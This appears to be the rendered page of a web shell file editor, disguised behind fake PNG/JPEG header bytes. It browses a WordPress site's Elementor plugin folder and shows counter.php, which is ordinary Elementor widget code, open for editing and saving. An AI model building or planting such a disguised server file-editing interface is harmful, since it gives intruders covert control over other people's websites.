�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2F'>elementor</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fincludes%2F'>includes</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fincludes%2Fwidgets%2F'>widgets</a>/</p><hr><h3>✏️ Editing: counter.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
namespace Elementor;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

use Elementor\Core\Kits\Documents\Tabs\Global_Colors;
use Elementor\Core\Kits\Documents\Tabs\Global_Typography;

/**
 * Elementor counter widget.
 *
 * Elementor widget that displays stats and numbers in an escalating manner.
 *
 * @since 1.0.0
 */
class Widget_Counter extends Widget_Base {

	/**
	 * Get widget name.
	 *
	 * Retrieve counter widget name.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget name.
	 */
	public function get_name() {
		return &#039;counter&#039;;
	}

	/**
	 * Get widget title.
	 *
	 * Retrieve counter widget title.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget title.
	 */
	public function get_title() {
		return esc_html__( &#039;Counter&#039;, &#039;elementor&#039; );
	}

	/**
	 * Get widget icon.
	 *
	 * Retrieve counter widget icon.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string Widget icon.
	 */
	public function get_icon() {
		return &#039;eicon-counter&#039;;
	}

	/**
	 * Retrieve the list of scripts the counter widget depended on.
	 *
	 * Used to set scripts dependencies required to run the widget.
	 *
	 * @since 1.3.0
	 * @access public
	 *
	 * @return array Widget scripts dependencies.
	 */
	public function get_script_depends() {
		return [ &#039;jquery-numerator&#039; ];
	}

	/**
	 * Get widget keywords.
	 *
	 * Retrieve the list of keywords the widget belongs to.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return array Widget keywords.
	 */
	public function get_keywords() {
		return [ &#039;counter&#039; ];
	}

	protected function is_dynamic_content(): bool {
		return false;
	}

	/**
	 * Get style dependencies.
	 *
	 * Retrieve the list of style dependencies the widget requires.
	 *
	 * @since 3.24.0
	 * @access public
	 *
	 * @return array Widget style dependencies.
	 */
	public function get_style_depends(): array {
		return [ &#039;widget-counter&#039; ];
	}

	public function has_widget_inner_wrapper(): bool {
		return ! Plugin::$instance-&gt;experiments-&gt;is_feature_active( &#039;e_optimized_markup&#039; );
	}

	/**
	 * Register counter widget controls.
	 *
	 * Adds different input fields to allow the user to change and customize the widget settings.
	 *
	 * @since 3.1.0
	 * @access protected
	 */
	protected function register_controls() {
		$this-&gt;start_controls_section(
			&#039;section_counter&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Counter&#039;, &#039;elementor&#039; ),
			]
		);

		$this-&gt;add_control(
			&#039;starting_number&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Starting Number&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::NUMBER,
				&#039;default&#039; =&gt; 0,
				&#039;dynamic&#039; =&gt; [
					&#039;active&#039; =&gt; true,
				],
			]
		);

		$this-&gt;add_control(
			&#039;ending_number&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Ending Number&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::NUMBER,
				&#039;default&#039; =&gt; 100,
				&#039;dynamic&#039; =&gt; [
					&#039;active&#039; =&gt; true,
				],
			]
		);

		$this-&gt;add_control(
			&#039;prefix&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number Prefix&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::TEXT,
				&#039;dynamic&#039; =&gt; [
					&#039;active&#039; =&gt; true,
				],
				&#039;ai&#039; =&gt; [
					&#039;active&#039; =&gt; false,
				],
				&#039;default&#039; =&gt; &#039;&#039;,
			]
		);

		$this-&gt;add_control(
			&#039;suffix&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number Suffix&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::TEXT,
				&#039;dynamic&#039; =&gt; [
					&#039;active&#039; =&gt; true,
				],
				&#039;ai&#039; =&gt; [
					&#039;active&#039; =&gt; false,
				],
				&#039;default&#039; =&gt; &#039;&#039;,
			]
		);

		$this-&gt;add_control(
			&#039;duration&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Animation Duration&#039;, &#039;elementor&#039; ) . &#039; (ms)&#039;,
				&#039;type&#039; =&gt; Controls_Manager::NUMBER,
				&#039;default&#039; =&gt; 2000,
				&#039;min&#039; =&gt; 100,
				&#039;step&#039; =&gt; 100,
			]
		);

		$this-&gt;add_control(
			&#039;thousand_separator&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Thousand Separator&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::SWITCHER,
				&#039;default&#039; =&gt; &#039;yes&#039;,
				&#039;label_on&#039; =&gt; esc_html__( &#039;Show&#039;, &#039;elementor&#039; ),
				&#039;label_off&#039; =&gt; esc_html__( &#039;Hide&#039;, &#039;elementor&#039; ),
			]
		);

		$this-&gt;add_control(
			&#039;thousand_separator_char&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Separator&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::SELECT,
				&#039;condition&#039; =&gt; [
					&#039;thousand_separator&#039; =&gt; &#039;yes&#039;,
				],
				&#039;options&#039; =&gt; [
					&#039;&#039; =&gt; &#039;Default&#039;,
					&#039;.&#039; =&gt; &#039;Dot&#039;,
					&#039; &#039; =&gt; &#039;Space&#039;,
					&#039;_&#039; =&gt; &#039;Underline&#039;,
					&quot;&#039;&quot; =&gt; &#039;Apostrophe&#039;,
				],
			]
		);

		$this-&gt;add_control(
			&#039;title&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::TEXT,
				&#039;label_block&#039; =&gt; true,
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;dynamic&#039; =&gt; [
					&#039;active&#039; =&gt; true,
				],
				&#039;default&#039; =&gt; esc_html__( &#039;Cool Number&#039;, &#039;elementor&#039; ),
			]
		);

		$this-&gt;add_control(
			&#039;title_tag&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title HTML Tag&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::SELECT,
				&#039;options&#039; =&gt; [
					&#039;h1&#039; =&gt; &#039;H1&#039;,
					&#039;h2&#039; =&gt; &#039;H2&#039;,
					&#039;h3&#039; =&gt; &#039;H3&#039;,
					&#039;h4&#039; =&gt; &#039;H4&#039;,
					&#039;h5&#039; =&gt; &#039;H5&#039;,
					&#039;h6&#039; =&gt; &#039;H6&#039;,
					&#039;div&#039; =&gt; &#039;div&#039;,
					&#039;span&#039; =&gt; &#039;span&#039;,
					&#039;p&#039; =&gt; &#039;p&#039;,
				],
				&#039;default&#039; =&gt; &#039;div&#039;,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;end_controls_section();

		$this-&gt;start_controls_section(
			&#039;section_counter_style&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Counter&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; Controls_Manager::TAB_STYLE,
			]
		);

		$this-&gt;add_responsive_control(
			&#039;title_position&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title Position&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::CHOOSE,
				&#039;options&#039; =&gt; [
					&#039;before&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Before&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-v-align-top&#039;,
					],
					&#039;after&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;After&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-v-align-bottom&#039;,
					],
					&#039;start&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Start&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-left&#039;,
					],
					&#039;end&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;End&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-right&#039;,
					],
				],
				&#039;selectors_dictionary&#039; =&gt; [
					&#039;before&#039; =&gt; &#039;flex-direction: column;&#039;,
					&#039;after&#039; =&gt; &#039;flex-direction: column-reverse;&#039;,
					&#039;start&#039; =&gt; &#039;flex-direction: row;&#039;,
					&#039;end&#039; =&gt; &#039;flex-direction: row-reverse;&#039;,
				],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter&#039; =&gt; &#039;{{VALUE}}&#039;,
				],
				&#039;classes&#039; =&gt; &#039;elementor-control-start-end&#039;,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_responsive_control(
			&#039;title_horizontal_alignment&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title Horizontal Alignment&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::CHOOSE,
				&#039;options&#039; =&gt; [
					&#039;start&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Start&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-left&#039;,
					],
					&#039;center&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Center&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-center&#039;,
					],
					&#039;end&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;End&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-right&#039;,
					],
				],
				&#039;separator&#039; =&gt; &#039;before&#039;,
				&#039;classes&#039; =&gt; &#039;elementor-control-start-end&#039;,
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-title&#039; =&gt; &#039;justify-content: {{VALUE}};&#039;,
				],
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_responsive_control(
			&#039;title_vertical_alignment&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title Vertical Alignment&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::CHOOSE,
				&#039;options&#039; =&gt; [
					&#039;start&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Top&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-v-align-top&#039;,
					],
					&#039;center&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Middle&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-v-align-middle&#039;,
					],
					&#039;end&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Bottom&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-v-align-bottom&#039;,
					],
				],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-title&#039; =&gt; &#039;align-items: {{VALUE}};&#039;,
				],
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
					&#039;title_position&#039; =&gt; [ &#039;start&#039;, &#039;end&#039; ],
				],
			]
		);

		$this-&gt;add_responsive_control(
			&#039;title_gap&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title Gap&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::SLIDER,
				&#039;size_units&#039; =&gt; [ &#039;px&#039;, &#039;em&#039;, &#039;rem&#039;, &#039;custom&#039; ],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter&#039; =&gt; &#039;gap: {{SIZE}}{{UNIT}};&#039;,
				],
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
					&#039;title_position&#039; =&gt; [ &#039;&#039;, &#039;before&#039;, &#039;after&#039; ],
				],
			]
		);

		$this-&gt;add_responsive_control(
			&#039;number_position&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number Position&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::CHOOSE,
				&#039;options&#039; =&gt; [
					&#039;start&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Start&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-left&#039;,
					],
					&#039;center&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Center&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-center&#039;,
					],
					&#039;end&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;End&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-h-align-right&#039;,
					],
					&#039;stretch&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Stretch&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-grow&#039;,
					],
				],
				&#039;classes&#039; =&gt; &#039;elementor-control-start-end&#039;,
				&#039;selectors_dictionary&#039; =&gt; [
					&#039;start&#039; =&gt; &#039;text-align: {{VALUE}}; --counter-prefix-grow: 0; --counter-suffix-grow: 1; --counter-number-grow: 0;&#039;,
					&#039;center&#039; =&gt; &#039;text-align: {{VALUE}}; --counter-prefix-grow: 1; --counter-suffix-grow: 1; --counter-number-grow: 0;&#039;,
					&#039;end&#039; =&gt; &#039;text-align: {{VALUE}}; --counter-prefix-grow: 1; --counter-suffix-grow: 0; --counter-number-grow: 0;&#039;,
					&#039;stretch&#039; =&gt; &#039;--counter-prefix-grow: 0; --counter-suffix-grow: 0; --counter-number-grow: 1;&#039;,
				],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039; =&gt; &#039;{{VALUE}}&#039;,
				],
				&#039;separator&#039; =&gt; &#039;before&#039;,
			]
		);

		$this-&gt;add_responsive_control(
			&#039;number_alignment&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number Alignment&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::CHOOSE,
				&#039;options&#039; =&gt; [
					&#039;start&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Start&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-text-align-left&#039;,
					],
					&#039;center&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;Center&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-text-align-center&#039;,
					],
					&#039;end&#039; =&gt; [
						&#039;title&#039; =&gt; esc_html__( &#039;End&#039;, &#039;elementor&#039; ),
						&#039;icon&#039; =&gt; &#039;eicon-text-align-right&#039;,
					],
				],
				&#039;classes&#039; =&gt; &#039;elementor-control-start-end&#039;,
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-number&#039; =&gt; &#039;text-align: {{VALUE}};&#039;,
				],
				&#039;condition&#039; =&gt; [
					&#039;number_position&#039; =&gt; &#039;stretch&#039;,
				],
			]
		);

		$this-&gt;add_responsive_control(
			&#039;number_gap&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number Gap&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::SLIDER,
				&#039;size_units&#039; =&gt; [ &#039;px&#039;, &#039;em&#039;, &#039;rem&#039;, &#039;custom&#039; ],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039; =&gt; &#039;gap: {{SIZE}}{{UNIT}};&#039;,
				],
				&#039;conditions&#039; =&gt; [
					&#039;relation&#039; =&gt; &#039;and&#039;,
					&#039;terms&#039; =&gt; [
						[
							&#039;name&#039; =&gt; &#039;number_position&#039;,
							&#039;operator&#039; =&gt; &#039;!==&#039;,
							&#039;value&#039; =&gt; &#039;stretch&#039;,
						],
						[
							&#039;relation&#039; =&gt; &#039;or&#039;,
							&#039;terms&#039; =&gt; [
								[
									&#039;name&#039; =&gt; &#039;prefix&#039;,
									&#039;operator&#039; =&gt; &#039;!==&#039;,
									&#039;value&#039; =&gt; &#039;&#039;,
								],
								[
									&#039;name&#039; =&gt; &#039;suffix&#039;,
									&#039;operator&#039; =&gt; &#039;!==&#039;,
									&#039;value&#039; =&gt; &#039;&#039;,
								],
							],
						],
					],
				],
			]
		);

		$this-&gt;end_controls_section();

		$this-&gt;start_controls_section(
			&#039;section_number&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Number&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; Controls_Manager::TAB_STYLE,
			]
		);

		$this-&gt;add_control(
			&#039;number_color&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Text Color&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::COLOR,
				&#039;global&#039; =&gt; [
					&#039;default&#039; =&gt; Global_Colors::COLOR_PRIMARY,
				],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039; =&gt; &#039;color: {{VALUE}};&#039;,
				],
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Typography::get_type(),
			[
				&#039;name&#039; =&gt; &#039;typography_number&#039;,
				&#039;global&#039; =&gt; [
					&#039;default&#039; =&gt; Global_Typography::TYPOGRAPHY_PRIMARY,
				],
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039;,
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				&#039;name&#039; =&gt; &#039;number_stroke&#039;,
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039;,
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Text_Shadow::get_type(),
			[
				&#039;name&#039; =&gt; &#039;number_shadow&#039;,
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-number-wrapper&#039;,
			]
		);

		$this-&gt;end_controls_section();

		$this-&gt;start_controls_section(
			&#039;section_title&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Title&#039;, &#039;elementor&#039; ),
				&#039;tab&#039; =&gt; Controls_Manager::TAB_STYLE,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_control(
			&#039;title_color&#039;,
			[
				&#039;label&#039; =&gt; esc_html__( &#039;Text Color&#039;, &#039;elementor&#039; ),
				&#039;type&#039; =&gt; Controls_Manager::COLOR,
				&#039;global&#039; =&gt; [
					&#039;default&#039; =&gt; Global_Colors::COLOR_SECONDARY,
				],
				&#039;selectors&#039; =&gt; [
					&#039;{{WRAPPER}} .elementor-counter-title&#039; =&gt; &#039;color: {{VALUE}};&#039;,
				],
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Typography::get_type(),
			[
				&#039;name&#039; =&gt; &#039;typography_title&#039;,
				&#039;global&#039; =&gt; [
					&#039;default&#039; =&gt; Global_Typography::TYPOGRAPHY_SECONDARY,
				],
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-title&#039;,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Text_Stroke::get_type(),
			[
				&#039;name&#039; =&gt; &#039;title_stroke&#039;,
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-title&#039;,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;add_group_control(
			Group_Control_Text_Shadow::get_type(),
			[
				&#039;name&#039; =&gt; &#039;title_shadow&#039;,
				&#039;selector&#039; =&gt; &#039;{{WRAPPER}} .elementor-counter-title&#039;,
				&#039;condition&#039; =&gt; [
					&#039;title!&#039; =&gt; &#039;&#039;,
				],
			]
		);

		$this-&gt;end_controls_section();
	}

	/**
	 * Render counter widget output in the editor.
	 *
	 * Written as a Backbone JavaScript template and used to generate the live preview.
	 *
	 * @since 2.9.0
	 * @access protected
	 */
	protected function content_template() {
		?&gt;
		&lt;#
		view.addRenderAttribute( &#039;elementor-counter&#039;, &#039;class&#039;, &#039;elementor-counter&#039; );

		view.addRenderAttribute( &#039;counter-number&#039;, &#039;class&#039;, &#039;elementor-counter-number-wrapper&#039; );

		view.addRenderAttribute(
			&#039;counter&#039;,
			{
				&#039;class&#039;: &#039;elementor-counter-number&#039;,
				&#039;data-duration&#039;: settings.duration,
				&#039;data-to-value&#039;: settings.ending_number,
				&#039;data-from-value&#039;: settings.starting_number,
			}
		);

		if ( settings.thousand_separator ) {
			const delimiter = settings.thousand_separator_char ? settings.thousand_separator_char : &#039;,&#039;;
			view.addRenderAttribute( &#039;counter&#039;, &#039;data-delimiter&#039;, delimiter );
		}

		view.addRenderAttribute( &#039;prefix&#039;, &#039;class&#039;, &#039;elementor-counter-number-prefix&#039; );

		view.addRenderAttribute( &#039;suffix&#039;, &#039;class&#039;, &#039;elementor-counter-number-suffix&#039; );

		view.addRenderAttribute( &#039;counter-title&#039;, &#039;class&#039;, &#039;elementor-counter-title&#039; );

		view.addInlineEditingAttributes( &#039;counter-title&#039; );

		const titleTag = elementor.helpers.validateHTMLTag( settings.title_tag );
		#&gt;
		&lt;div {{{ view.getRenderAttributeString( &#039;elementor-counter&#039; ) }}}&gt;
			&lt;# if ( settings.title ) {
				#&gt;&lt;{{ titleTag }} {{{ view.getRenderAttributeString( &#039;counter-title&#039; ) }}}&gt;{{{ elementor.helpers.sanitize( settings.title, { ALLOW_DATA_ATTR: false } ) }}}&lt;/{{ titleTag }}&gt;&lt;#
			} #&gt;
			&lt;div {{{ view.getRenderAttributeString( &#039;counter-number&#039; ) }}}&gt;
				&lt;span {{{ view.getRenderAttributeString( &#039;prefix&#039; ) }}}&gt;{{ settings.prefix }}&lt;/span&gt;
				&lt;span {{{ view.getRenderAttributeString( &#039;counter&#039; ) }}}&gt;{{ settings.starting_number }}&lt;/span&gt;
				&lt;span {{{ view.getRenderAttributeString( &#039;suffix&#039; ) }}}&gt;{{ settings.suffix }}&lt;/span&gt;
			&lt;/div&gt;
		&lt;/div&gt;
		&lt;?php
	}

	/**
	 * Render counter widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function render() {
		$settings = $this-&gt;get_settings_for_display();

		$this-&gt;add_render_attribute( &#039;elementor-counter&#039;, &#039;class&#039;, &#039;elementor-counter&#039; );

		$this-&gt;add_render_attribute( &#039;counter-number&#039;, &#039;class&#039;, &#039;elementor-counter-number-wrapper&#039; );

		$this-&gt;add_render_attribute(
			&#039;counter&#039;,
			[
				&#039;class&#039; =&gt; &#039;elementor-counter-number&#039;,
				&#039;data-duration&#039; =&gt; $settings[&#039;duration&#039;],
				&#039;data-to-value&#039; =&gt; $settings[&#039;ending_number&#039;],
				&#039;data-from-value&#039; =&gt; $settings[&#039;starting_number&#039;],
			]
		);

		if ( ! empty( $settings[&#039;thousand_separator&#039;] ) ) {
			$delimiter = empty( $settings[&#039;thousand_separator_char&#039;] ) ? &#039;,&#039; : $settings[&#039;thousand_separator_char&#039;];
			$this-&gt;add_render_attribute( &#039;counter&#039;, &#039;data-delimiter&#039;, $delimiter );
		}

		$this-&gt;add_render_attribute( &#039;prefix&#039;, &#039;class&#039;, &#039;elementor-counter-number-prefix&#039; );

		$this-&gt;add_render_attribute( &#039;suffix&#039;, &#039;class&#039;, &#039;elementor-counter-number-suffix&#039; );

		$this-&gt;add_render_attribute( &#039;counter-title&#039;, &#039;class&#039;, &#039;elementor-counter-title&#039; );

		$this-&gt;add_inline_editing_attributes( &#039;counter-title&#039; );

		$title_tag = Utils::validate_html_tag( $settings[&#039;title_tag&#039;] );
		?&gt;
		&lt;div &lt;?php $this-&gt;print_render_attribute_string( &#039;elementor-counter&#039; ); ?&gt;&gt;
			&lt;?php
			if ( $settings[&#039;title&#039;] ) :
				?&gt;&lt;&lt;?php Utils::print_validated_html_tag( $title_tag ); ?&gt; &lt;?php $this-&gt;print_render_attribute_string( &#039;counter-title&#039; ); ?&gt;&gt;&lt;?php echo wp_kses_post( $this-&gt;get_settings_for_display( &#039;title&#039; ) ); ?&gt;&lt;/&lt;?php Utils::print_validated_html_tag( $title_tag ); ?&gt;&gt;&lt;?php
			endif;
			?&gt;
			&lt;div &lt;?php $this-&gt;print_render_attribute_string( &#039;counter-number&#039; ); ?&gt;&gt;
				&lt;span &lt;?php $this-&gt;print_render_attribute_string( &#039;prefix&#039; ); ?&gt;&gt;&lt;?php echo wp_kses_post( $settings[&#039;prefix&#039;] ); ?&gt;&lt;/span&gt;
				&lt;span &lt;?php $this-&gt;print_render_attribute_string( &#039;counter&#039; ); ?&gt;&gt;&lt;?php echo wp_kses_post( $settings[&#039;starting_number&#039;] ); ?&gt;&lt;/span&gt;
				&lt;span &lt;?php $this-&gt;print_render_attribute_string( &#039;suffix&#039; ); ?&gt;&gt;&lt;?php echo wp_kses_post( $settings[&#039;suffix&#039;] ); ?&gt;&lt;/span&gt;
			&lt;/div&gt;
		&lt;/div&gt;
		&lt;?php
	}

	public function render_markdown(): string {
		$settings = $this-&gt;get_settings_for_display();
		$number = $settings[&#039;ending_number&#039;] ?? &#039;&#039;;
		$prefix = $settings[&#039;prefix&#039;] ?? &#039;&#039;;
		$suffix = $settings[&#039;suffix&#039;] ?? &#039;&#039;;
		$title = Utils::html_to_plain_text( $settings[&#039;title&#039;] ?? &#039;&#039; );
		$value = $prefix . $number . $suffix;
		if ( empty( $value ) &amp;&amp; empty( $title ) ) {
			return &#039;&#039;;
		}
		$parts = array_filter( [ $value, $title ] );
		return implode( &#039; - &#039;, $parts );
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Felementor%2Fincludes%2Fwidgets'>🔙 Back</a></p>